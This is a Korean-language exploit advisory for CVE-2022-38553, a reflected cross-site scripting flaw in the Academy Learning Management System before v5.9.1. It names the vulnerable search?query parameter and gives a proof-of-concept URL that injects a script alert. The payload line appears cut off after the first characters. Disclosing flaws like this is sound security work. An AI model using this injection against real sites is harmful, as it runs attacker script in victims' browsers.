4websecurity/cve-2022-38553"ACADEMY LEARNING MANAGEMENT SYSTEM"의 크로스 사이트 스크립팅(XSS) - 개념 증명(PoC) CVE-2022-38553
크로스 사이트 스크립팅 (XSS) - "ACADEMY LEARNING MANAGEMENT SYSTEM" v5.9.1 미만 - 개념 증명 (POC) CVE-2022-38553
익스플로잇 제목: ACADEMY LEARNING MANAGEMENT SYSTEM < v5.9.1 - 크로스 사이트 스크립팅 (XSS)
CVE ID: CVE-2022-38553
익스플로잇 작성자: 4websecurity
작성자 웹페이지: https://4websecurity.com
날짜: 16-08-2022
벤더 홈페이지: https://creativeitem.com
버전: 5.9.1 이하
벤더 데모 페이지: https://demo.creativeitem.com/academy/home/
참조:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38553
https://www.openbugbounty.org/reports/2849933/
https://cve.report/CVE-2022-38553
https://nvd.nist.gov/vuln/detail/CVE-2022-38553
https://youtu.be/yFiZffHoeKs
취약점 필드:
ACADEMY LEARNING MANAGEMENT SYSTEM v5.9.1 미만의 크로스 사이트 스크립팅(XSS) 취약점으로 인해 원격 공격자가 search?query 매개변수를 통해 임의의 웹 스크립트 또는 HTML을 삽입할 수 있습니다.
개념 증명 (POC):
https://example.com/search?query=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
페이로드:
">
POC 동영상:
보안 위험:
이 보안 취약점으로 인해 사용자가 공격자가 준비한 URL에 접근할 경우 사용자 브라우저에서 임의의 JavaScript 코드가 실행될 수 있습니다.
